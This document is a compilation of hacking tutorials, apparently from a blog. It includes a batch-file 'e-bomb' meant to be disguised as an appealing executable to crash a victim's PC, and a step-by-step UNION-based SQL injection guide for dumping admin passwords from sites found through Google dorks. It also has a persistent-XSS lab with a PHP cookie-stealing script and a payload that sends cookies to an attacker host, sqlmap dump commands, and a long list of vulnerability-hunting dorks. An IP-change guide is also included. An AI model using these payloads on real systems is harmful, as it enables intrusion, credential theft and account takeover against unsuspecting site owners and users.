E- Bomb .....

Have you all watched Die Hard 4.0 Remember the scene where Matthew Farrell sends an e-bomb to one of Thomas Gabriel's hackers(or crackers). All sorts of niche sites start popping one after another. Wanna try that ?????? If yes, then all you gotta do is write this simple code in notepad and save it as anything.bat Open notepad and copy this code. code: @ Echo off msg * "(you are screwed)" start chrome.exe http://www.google.com/ start firefox.exe http://www.google.com/ start iexplore.exe http://www.google.com/ start notepad start chrome.exe http://www.google.com/ start firefox.exe http://www.google.com/ start iexplore.exe http://www.google.com/ start notepad start chrome.exe http://www.google.com/ start firefox.exe http://www.google.com/ start iexplore.exe http://www.google.com/ start notepad start chrome.exe http://www.google.com/ start firefox.exe http://www.google.com/ start iexplore.exe http://www.google.com/ start notepad now save this file as anything.bat to use this trick, you will have to convert this .bat file to .exe(executable) file and name it and assign an icon so that it looks something very appealing to the victim. PS: Add as many site as you can, the more the merrier, because when he opens this file, he will be bombarded with all these sites popping up in different browsers, and all that process will eat up his memory, ultimately his pc will hang. So try it, but safely.

Manual SQL Injection

                        Manual SQL Injection

SQL:

Structured Query Language is Known as SQL. In order to communicate with the Database ,we are 

using SQL query. We are querying the database so it is called as Query language.

Definition from Complete reference:

SQL is a tool for organizing, managing, and retrieving data stored by a computer

database. The name "SQL" is an abbreviation for Structured Query Language. For

historical reasons, SQL is usually pronounced "sequel," but the alternate pronunciation

"S.Q.L." is also used. As the name implies, SQL is a computer language that you use to

interact with a database. In fact, SQL works with one specific type of database, called a

relational database.

Simple Basic Queries for SQL:

Select * from table_name :

this statement is used for showing the content of tables including column name.

e.g.:

select * from users;

Insert into table_name(column_names,...) values(corresponding values for columns):

For inserting data to table.

e.g.:

insert into users(username,userid) values("BreakTheSec","break");

I will give more detail and query in my next book about the SQL QUERY.

What is SQL Injection?

SQL injection is Common and famous method of hacking in present. Some newbie’s are thinking that 

this is a small thing due to some kiddy or scripted software like “Havij”, but if you see it manually then 

it is a huge topic and many books can be easily written on this. Using this method an unauthorized 

person can access the database of a website. Attacker can get all details from the Database.

What an attacker can do?

ByPassing Logins

Accessing secret data

Modifying contents of website

Shutting down the My SQL server

Now let's dive into the real procedure for the SQL Injection.

Follow the steps :-

Step 1: 

Finding Vulnerable Website:

Our best partner for SQL injection is Google. We can find the vulnerable websites (hackable websites) 

using Google Dork list. Google dork is searching for vulnerable websites using the Google searching 

tricks. There is lot of tricks to search in Google. But we are going to use "inurl:" command for finding 

the vulnerable websites.

Some Examples:

inurl:index.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:pageid=

If you want to find out more then search on Google for latest SQL dorks.

How to use?

Copy one of the above command and paste in the Google search engine box.

Hit enter.

You can get list of web sites.

We have to visit the websites one by one for checking the vulnerability.

So Start from the first website.

Note: if you like to hack particular website,then try this:

site:www.victimsite.com dork_list_commands

e.g.:

site:www.victimsite.com inurl:index.php?id=

Step 2: 

Checking the Vulnerability:

Now we should check the vulnerability of websites. In order to check the vulnerability, add the single 

quotes (') at the end of the url and hit enter. (No space between the number and single quotes)

e.g.:

http://www.victimsite.com/index.php?id=2'

If the page remains in same page or showing that page not found or showing some other WebPages. 

Then it is not vulnerable.

If it showing any errors which is related to sql query, then it is vulnerable. Cheers..!!

e.g.:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server 

version for the right syntax to use near '\'' at line 1

Step 3: 

Finding Number of columns:

Now we have found the website is vulnerable. Next step is to find the number of columns in the table.

For that replace the single quotes(') with "order by n" statement.(leave one space between number and 

order by n statement)

Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".

e.g.:

http://www.victimsite.com/index.php?id=2 order by 1

http://www.victimsite.com/index.php?id=2 order by 2

http://www.victimsite.com/index.php?id=2 order by 3

http://www.victimsite.com/index.php?id=2 order by 4

change the number until you get the error as "unknown column"

if you get the error while trying the "x"th number,then no of column is "x-1".

I mean:

http://www.victimsite.com/index.php?id=2 order by 1(noerror)

http://www.victimsite.com/index.php?id=2 order by 2(noerror)

http://www.victimsite.com/index.php?id=2 order by 3(noerror)

http://www.victimsite.com/index.php?id=2 order by 4(noerror)

http://www.victimsite.com/index.php?id=2 order by 5(noerror)

http://www.victimsite.com/index.php?id=2 order by 6(noerror)

http://www.victimsite.com/index.php?id=2 order by 7(noerror)

http://www.victimsite.com/index.php?id=2 order by 8(error)

so now x=8 , The number of column is x-1 i.e, 7.

Sometime the above may not work. At the time add the "--" at the end of the statement.

e.g.:

http://www.victimsite.com/index.php?id=2 order by 1--

Step 4: 

Displaying the Vulnerable columns:

Using "union select columns_sequence" we can find the vulnerable part of the table. Replace the 

"order by n" with this statement. And change the id value to negative(i mean id=-2,must change, but in 

some website may work without changing).

Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with 

commas(,).

e.g.:

if the number of columns is 7 ,then the query is as follow:

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--

It will show some numbers in the page(it must be less than 'x' value, i mean less than or equl to number 

of columns).

Now select 1 number.

It showing 3,7. Let's take the Number 3.

Step 5: 

Finding version, database, user

Now replace the 3 from the query with "version()"

e.g.:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--

It will show the version as 5.0.1 or 4.3. Something likes this.

Replace the version() with database() and user() for finding the database, user respectively.

e.g.:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working, then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 

1,2,unhex(hex(@@version)),4,5,6,7--

Step 6: 

Finding the Table Name

If the version is 5 or above. Then follow these steps. Now we have to find the table name of the 

database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables 

where table_schema=database()"

e.g.:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 

1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where 

table_schema=database()--

Now it will show the list of table names. Find the table name which is related with the admin or user.

Now select the "admin " table.

If the version is 4 or some others, you have to guess the table names. (user, tbluser). It is hard and bore 

to do sql injection with version 4.

Step 7: 

Finding the Column Name

Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--" with "FROM 

information_schema.columns WHERE table_name=mysqlchar--

Now listen carefully ,we have to find convert the table name to MySql CHAR() string and replace 

mysqlchar with that .

Find MysqlChar() for Tablename:

First of all install the HackBar addon:

https://addons.mozilla.org/en-US/firefox/addon/3899 

Now

select sql->Mysql->MysqlChar()

This will open the small window ,enter the table name which you found. I am going to use the admin 

table name.

Click ok

Now you can see the CHAR(numbers separated with commas) in the Hack toolbar.

Copy and paste the code at the end of the url instead of the "mysqlchar"

e.g.:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 

1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where 

table_name=CHAR(97, 100, 109, 105, 110)--

Now it will show the list of columns.

like admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas   

s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password…..etc.

Now replace the replace group_concat(column_name) with 

group_concat(columnname,0x3a,anothercolumnname).

Columnname should be replaced from the listed column name.

anothercolumnname should be replace from the listed column name.

Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 

110)" with the "from table_name"

e.g.:

http://www.victimsite.com/index.php?id=-2

and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

Sometime it will show the column is not found.

Then try another column names

Now it will Username and Passwords.

If the website has members then jock-bot for you. You will have the list of usernames and password.

Some time you may have the email ids also, enjoy you got the Dock which can produce the golden 

eggs.

Step 8: 

Finding the Admin Panel:

To find admin panel is a boring and time taken work, because you have to guess the admin panel like:

 

http://www.victimsite.com/admin.php

http://www.victimsite.com/admin/

http://www.victimsite.com/admin.html

http://www.victimsite.com:2082/

etc.

If you have luck, you will find the admin page.

If you want latest admin url list then search it on google, or it is more better to use admin panel script 

in perl.

    THATS ALL FOR TODAY .....

HOW TO CHANGE IP ADRESS ?

ChangeHJJMyIPAddress?

HOW TO CHANGE IP ADDRESS ?

There are MANY methods to change your IP address. Some methods will work for you but may not work for someone else and vice versa. We’re going to cover how to change your IP address in Windows 2000, XP, 2003, and Vista using command prompt.

WHAT IF I HAVE A STATIC IP ADDRESS ?

If your IP is static, then you CAN’T change it without contacting your ISP. Although not impossible, it is very rare that an ISP would assign you a static IP without some sort of increased level of service like a business account. However, an ISP can set a lengthy lease time for your IP address and make it look like you’ve assigned a static IP. If you have a long lease time (explained in this article) on your IP then you may not be able to change your IP address without leaving your modem or router unplugged for a long period of time (more than 8 hours), or without cloning your MAC address, which I’ll explain later in this article.

It definitely helps if you know how the IP is being assigned to you.

You can read our DHCP definition to get a better understanding.

WHAT

WHAT IS AN IP ADDRESS LEASE TIME ?

An IP lease time is the amount of time your ISP determines you’ll be assigned a particular IP. Some IP lease times could be just a couple of hours, where some are set to a few days, and other IP lease times could be set for as long as a year or more. This setting is completely up to your ISP.

One of the easier methods to change your IP address is to turn off your modem/router/computer overnight. Then turn it back on the following morning. This method WILL NOT work if your ISP has a long lease time set for your IP.

The following method will ONLY work if your computer is being assigned your external IP and not a router.

How to determine if your computer is being assigned the external IP ?

If your connection is direct to your computer and your computer gets the public IP and not a router, you can try this:
For Windows 2000, XP, and 2003
1. Click Start
2. Click Run
3. Type in cmd and hit ok (this opens a Command Prompt)
4. Type ipconfig /release and hit enter
5. Click Start, Control Panel, and open Network Connections
6. Find and Right click on the active Local Area Connection and choose Properties
7. Double-click on the Internet Protocol (TCP/IP)
8. Click on Use the following IP address
9. Enter a false IP like 123.123.123.123
10. Press Tab and the Subnet Mask section will populate with default numbers
11. Hit OK twice
12. Right click the active Local Area Connection again and choose Properties
13. Double-click on the Internet Protocol (TCP/IP)
14. Choose Obtain an IP address automatically
15. Hit OK twice
16. Go to What Is My IP to see if you have a new IP address

For Vista (Windows 7 is very similar)
1. Click Start
2. Click All Programs expand the Accessories menu
3. In the Accessories menu, Right Click Command Prompt and choose Run as administrator
4. Type ipconfig /release and hit enter
5. Click Start, Control Panel, and open Network and Sharing Center. Depending on your view, you may have to click Network and Internet before you see the Network and Sharing Center icon
6. From the Tasks menu on the left, choose Manage Network Connections
7. Find and Right click on the active Local Area Connection and choose Properties (If you’re hit with a UAC prompt, choose Continue)
8. Double-click on Internet Protocol Version 4 (TCP/IPv4)
9. Click on Use the following IP address
10. Enter a false IP like 123.123.123.123
11. Press Tab and the Subnet Mask section will populate with default numbers
12. Hit OK twice
13. Right click the active Local Area Connection again and choose Properties
14. Double-click on Internet Protocol Version 4 (TCP/IPv4)
15. Choose Obtain an IP address automatically
16. Hit OK twice
17. Go to What Is My IP to see if you have a new IP address

Some people have inquired about manually assigning their IP address. This IS possible, but you run a very high risk of your ISP banning you from connecting to the internet. To manually change your IP, follow the steps above for your Operating System. In step 9 or 10, depending on your O/S, enter an IP similar to the one displayed in the command prompt window. For example, if the IP displayed in the command prompt window is 75.1.2.3, change yours to 75.1.2.4. You’ll also need to manually enter the Subnet, Gateway and DNS Server IP addresses. If the new IP you give your computer doesn’t work, chances are someone else on the ISP network has already been assigned that IP. You’ll need to move on to the next one and keep trying until you find an open one. Keep in mind that some ISPs match up your MAC or modem data to the address that’s been assigned. If those 2 things don’t match up, you won’t be able to connect no matter what. If your router gets the IP and not your computer, you’ll need to http in to your routers interface and manually assign the IP there. It’s pretty much the same method as assigning the IP to your computer. The method that varies is in how you reach your routers interface. You can get the instructions from your manufacturer’s website.

MAC Cloning. What is a MAC address? A MAC address is a physical hardware address assigned to each device that has the capability of connecting to a network. The internet is nothing more than a large network. The MAC address is something that is assigned in the chip on the device and is not something the user can change. MAC cloning can only be done at your router providing it has those capabilities. Most ISPs assign their IPs based on the MAC address in your equipment. If the MAC address of your router is 00-11-22-33-44-55 and you connect to your ISP, the DHCP server records your MAC and assigns an IP. If you disconnect from the ISP, you lose your IP address. The next time you connect, the DHCP server sees your MAC, looks to see if it has assigned an IP address to you before. If it has and the lease time has not expired, it will most likely give you the same IP address you had before disconnecting and will not change your IP.

Read more: http://www.whatismyip.com/ip-faq/how-to-change-your-ip-address/#ixzz2hmrSjwO7

Stealing Cookies with Persistent XSS

        Stealing Cookies with Persistent XSS 

What You Need

• A Backtrack 5 machine, real or virtual. I used a BackTrack 5 R2 virtual machine.

Purpose

If a website has a Persistent XSS vulnerability, you can inject code and attack other users. We'll use this attack to steal a cookie.
This sort of attack is used commonly to gain access to another person's acount on webmail or social network accounts.

Starting Apache

On your BackTrack Linux machine, at the #> prompt, enter these commands followed by the Enter key:

service apache2 restartnetstat -an | more

You should see the local address 0.0.0.0:80 in a State of LISTEN, as shown below:

Testing PHP

At the #> prompt, enter these commands followed by the Enter key:

cd /var/wwwnano test.php

In nano, type in the code shown below:

<?php phpinfo(); ?>

Your screen should look like this:

Press Ctrl+X, then press Y, then press the Enter key. This saves your file.
From the menu bar in the top left of the BackTrack desktop, click Applications, Internet, Firefox Web Browser.
In the Firefox address bar, enter localhost/test.php and then press the Enter key. You should see a PHP configuration page, as shown below:

This verifies that Apache and PHP are running correctly.
If PHP doesn't work, try re-extracting BackTrack from the original 7-zip file.

Writing a Cookie-Storage PHP Script

The script we will use does these things:

• When a user sends an HTTP GET request to this script with a parameter c, that parameter is stored in a file
• It will also store two other values: the IP address and the referring URL
• It will save this information in a file named cookies.html in the /tmp folder
• It will then return to the original page, so that the user has no idea that anything unusual has happened On your BackTrack linux machine, in a Terminal window, execute this command:

  nano /var/www/steal.php

  In nano, enter this script:

  <?php
  $cookie = $_GET['c'];
  $ip = getenv ('REMOTE_ADDR');
  $date = date("j F, Y, g:i a");
  $referer = getenv ('HTTP_REFERER');
  $out = 'Cookie: ' . $cookie . "\n";
  $out = $out . 'IP: ' . $ip . "\n";
  $out = $out . 'Date: ' . $date . "\n";
  $out = $out . 'Referer: ' . $referer  . "\n\n";
  $fp = fopen('/tmp/cookies.html', 'a');
  fwrite($fp, $out);
  fclose($fp);
  header ("Location: http://games.samsclass.info");
  ?>
  <HTML></HTML>
  

  as shown below:
  Save the file with Ctrl+X, Y, Enter.
  
  

  Finding your Backtrack Linux Server's IP Address

  Make sure your BackTrack Linux virtual machine is using Bridged networking, not NAT.If necessary, renew the IP address with the dhclient command.
  In Backtrack, in Firefox, execute this command:
  

  ifconfig

  Find your IP address and make a note of it.

  Testing the Cookie-Storage Script

  On your host machine, (NOT the Backtrack machine), open a Web browser and go to this URL, replacing the IP address with the IP address of your Backtrack machine:

  http://192.168.5.36/steal.php?c=test123

  If the PHP script is working correctly, your browser will forward to games.samsclass.info, as shown below:
  If you made any errors typing in the script, you will see an error message telling you which line has a problem. Fix those problems and don't proceed to the next section until the PHP script is working.
  
  

  Viewing the Stolen Data

  In Backtrack, in Firefox, execute this command:

  cat /tmp/cookies.html

  You should see the stolen data, as shown below:
  
  

  Viewing the Vulnerable Message Board

  On your host system, open a Web browser and go to this page:

  http://games.samsclass.info/vulnphp/

  This is a simple message board, using your name as an authentication cookie.In the "User ID Page", enter your name in the box, as shown below. (Don't use the literal string "YOUR NAME"--instead, use your own real name.
  
  Click the Enter button.
  On the next page, if any comments appear, click the "Erase Comments" button.
  Enter this comment, replacing the IP address with the IP address of your BackTrack Linux server:
  

  <script>
  document.location="http://192.168.5.36/steal.php?c=" + document.cookie
  </script>
  

  
  Click the "Post Comment" button.
  The page just stole your cookie, and it will continue to steal cookies from everyone who views it until someone clicks the "Erase Comments" button.
  
  

  Viewing the Stolen Data

  In Backtrack, in Firefox, execute this command:

  cat /tmp/cookies.html

  You should see the stolen data, with your name in it, as shown below:

SQL Injection with Backtrack 5 Tutorial

                      SQL Injection with Backtrack 5 Tutorial

1. What is SQL Injection ? 

-An SQL injection is often used to attack the security of a website by inputting SQL statements in a web form to get a poorly designed website to perform operations on the database (often to dump the database content to the attacker) other than the usual operations as intended by the designer. SQL injection is a code injection technique that exploits a security vulnerability in a website's software. The vulnerability happens when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typedand unexpectedly executed. SQL commands are thus injected from the web form into the database of an application (like queries) to change the database content or dump the database information like credit card or passwords to the attacker. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

In operational environments, it has been noted that applications experience, on average, 71 attempts an hour.^[1] When under direct attack, some applications occasionally came under aggressive attacks and at their peak, were attacked 800–1300 times per hour

2. How To use SQL on Backtrack 5 Revolution ?

1. Open Terminal and go to sqlmap Dir: 

- cd /pentest/web/scanners/sqlmap/

2. To use it type :

-python sqlmap.py -u http://Target.com/index.php?id=1 --dbs ( For database )

-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) --table

-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) -T (tablename) --colum

-python sqlmap.py -u http://Target.com/index.php?id=1 -D (databasename) -T (tablename) -C (columname) --dump 

3. Remember :-

If you decide on this course of action you do so entirely at your own risk

Google Dorks sql injection

                                            Google Dorks sql injection

1. Google Dorks compilation to find SQL injections:
   (steps: * In place of inurl: put your targeted link
           * And if any of the site gives error, then it is varnarable to SQL injection )
   
   source: http://pastebin.com/b2UnJAC3
4. inurl:index.php?id=
5. inurl:trainers.php?id=
6. inurl:buy.php?category=
7. inurl:article.php?ID=
8. inurl:play_old.php?id=
9. inurl:declaration_more.php?decl_id=
10. inurl:Pageid=
11. inurl:games.php?id=
12. inurl:page.php?file=
13. inurl:newsDetail.php?id=
14. inurl:gallery.php?id=
15. inurl:article.php?id=
16. inurl:show.php?id=
17. inurl:staff_id=
18. inurl:newsitem.php?num=
19. inurl:readnews.php?id=
20. inurl:top10.php?cat=
21. inurl:historialeer.php?num=
22. inurl:reagir.php?num=
23. inurl:forum_bds.php?num=
24. inurl:game.php?id=
25. inurl:view_product.php?id=
26. inurl:newsone.php?id=
27. inurl:sw_comment.php?id=
28. inurl:news.php?id=
29. inurl:avd_start.php?avd=
30. inurl:event.php?id=
31. inurl:product-item.php?id=
32. inurl:sql.php?id=
33. inurl:news_view.php?id=
34. inurl:select_biblio.php?id=
35. inurl:humor.php?id=
36. inurl:aboutbook.php?id=
37. inurl:fiche_spectacle.php?id=
38. inurl:communique_detail.php?id=
39. inurl:sem.php3?id=
40. inurl:kategorie.php4?id=
41. inurl:news.php?id=
42. inurl:index.php?id=
43. inurl:faq2.php?id=
44. inurl:show_an.php?id=
45. inurl:preview.php?id=
46. inurl:loadpsb.php?id=
47. inurl:opinions.php?id=
48. inurl:spr.php?id=
49. inurl:pages.php?id=
50. inurl:announce.php?id=
51. inurl:clanek.php4?id=
52. inurl:participant.php?id=
53. inurl:download.php?id=
54. inurl:main.php?id=
55. inurl:review.php?id=
56. inurl:chappies.php?id=
57. inurl:read.php?id=
58. inurl:prod_detail.php?id=
59. inurl:viewphoto.php?id=
60. inurl:article.php?id=
61. inurl:person.php?id=
62. inurl:productinfo.php?id=
63. inurl:showimg.php?id=
64. inurl:view.php?id=
65. inurl:website.php?id=
66. inurl:hosting_info.php?id=
67. inurl:gallery.php?id=
68. inurl:rub.php?idr=
69. inurl:view_faq.php?id=
70. inurl:artikelinfo.php?id=
71. inurl:detail.php?ID=
72. inurl:index.php?=
73. inurl:profile_view.php?id=
74. inurl:category.php?id=
75. inurl:publications.php?id=
76. inurl:fellows.php?id=
77. inurl:downloads_info.php?id=
78. inurl:prod_info.php?id=
79. inurl:shop.php?do=part&id=
80. inurl:Productinfo.php?id=
81. inurl:collectionitem.php?id=
82. inurl:band_info.php?id=
83. inurl:product.php?id=
84. inurl:releases.php?id=
85. inurl:ray.php?id=
86. inurl:produit.php?id=
87. inurl:pop.php?id=
88. inurl:shopping.php?id=
89. inurl:productdetail.php?id=
90. inurl:post.php?id=
91. inurl:viewshowdetail.php?id=
92. inurl:clubpage.php?id=
93. inurl:memberInfo.php?id=
94. inurl:section.php?id=
95. inurl:theme.php?id=
96. inurl:page.php?id=
97. inurl:shredder-categories.php?id=
98. inurl:tradeCategory.php?id=
99. inurl:product_ranges_view.php?ID=
100. inurl:shop_category.php?id=
101. inurl:transcript.php?id=
102. inurl:channel_id=
103. inurl:item_id=
104. inurl:newsid=
105. inurl:trainers.php?id=
106. inurl:news-full.php?id=
107. inurl:news_display.php?getid=
108. inurl:index2.php?option=
109. inurl:readnews.php?id=
110. inurl:top10.php?cat=
111. inurl:newsone.php?id=
112. inurl:event.php?id=
113. inurl:product-item.php?id=
114. inurl:sql.php?id=
115. inurl:aboutbook.php?id=
116. inurl:review.php?id=
117. inurl:loadpsb.php?id=
118. inurl:ages.php?id=
119. inurl:material.php?id=
120. inurl:clanek.php4?id=
121. inurl:announce.php?id=
122. inurl:chappies.php?id=
123. inurl:read.php?id=
124. inurl:viewapp.php?id=
125. inurl:viewphoto.php?id=
126. inurl:rub.php?idr=
127. inurl:galeri_info.php?l=
128. inurl:review.php?id=
129. inurl:iniziativa.php?in=
130. inurl:curriculum.php?id=
131. inurl:labels.php?id=
132. inurl:story.php?id=
133. inurl:look.php?ID=
134. inurl:newsone.php?id=
135. inurl:aboutbook.php?id=
136. inurl:material.php?id=
137. inurl:opinions.php?id=
138. inurl:announce.php?id=
139. inurl:rub.php?idr=
140. inurl:galeri_info.php?l=
141. inurl:tekst.php?idt=
142. inurl:newscat.php?id=
143. inurl:newsticker_info.php?idn=
144. inurl:rubrika.php?idr=
145. inurl:rubp.php?idr=
146. inurl:offer.php?idf=
147. inurl:art.php?idm=
148. inurl:title.php?id=
149. inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
150. inurl:"id=" & intext:"Warning: mysql_fetch_array()
151. inurl:"id=" & intext:"Warning: mysql_num_rows()
152. inurl:"id=" & intext:"Warning: session_start()
153. inurl:"id=" & intext:"Warning: getimagesize()
154. inurl:"id=" & intext:"Warning: is_writable()
155. inurl:"id=" & intext:"Warning: getimagesize()
156. inurl:"id=" & intext:"Warning: Unknown()
157. inurl:"id=" & intext:"Warning: session_start()
158. inurl:"id=" & intext:"Warning: mysql_result()
159. inurl:"id=" & intext:"Warning: pg_exec()
160. inurl:"id=" & intext:"Warning: mysql_result()
161. inurl:"id=" & intext:"Warning: mysql_num_rows()
162. inurl:"id=" & intext:"Warning: mysql_query()
163. inurl:"id=" & intext:"Warning: array_merge()
164. inurl:"id=" & intext:"Warning: preg_match()
165. inurl:"id=" & intext:"Warning: ilesize()
166. inurl:"id=" & intext:"Warning: filesize()
167. inurl:"id=" & intext:"Warning: filesize()
168. inurl:"id=" & intext:"Warning: require()